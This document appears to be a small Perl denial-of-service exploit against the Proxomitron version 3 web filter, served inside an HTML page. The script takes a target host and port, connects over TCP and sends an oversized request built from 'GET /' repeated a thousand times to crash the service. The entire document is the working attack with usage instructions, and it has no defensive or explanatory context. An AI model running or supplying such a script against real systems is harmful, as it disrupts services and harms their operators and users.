<html><head><meta name="color-scheme" content="light dark"></head><body><pre style="word-wrap: break-word; white-space: pre-wrap;">#####################################################
#  Proxomitron - Universial Web Filter - Version 3  #
#  Dos Attack.                                      #
#####################################################

use IO::Socket;

$ARGC=@ARGV;
if ($ARGC !=2) {
	print "\n--&gt;";
        print "\tUsage: perl dos-prox.pl &lt;host&gt; &lt;port&gt;\n";
	exit;
}

$vic     = $ARGV[0];          # There IP
$Uport   = $ARGV[1];          # There Web Port
$SendStr = "GET /" x 1000;    # Crash String

print "\n--&gt;";
print "\tCrashing:$vic on:$Uport\n";
unless ($socket2 = IO::Socket::INET-&gt;new (Proto =&gt; "TCP",
					  PeerAddr =&gt; $vic,
					  PeerPort =&gt; $Uport))
{
        print "--&gt;";
        print "\tConnection Failed, Stoping.\n";
        exit;
}
print $socket2 "GET $SendStr\n";
close $socket2;

print "--&gt;";
print "\tCrashed:$vic\n";
exit;</pre></body></html>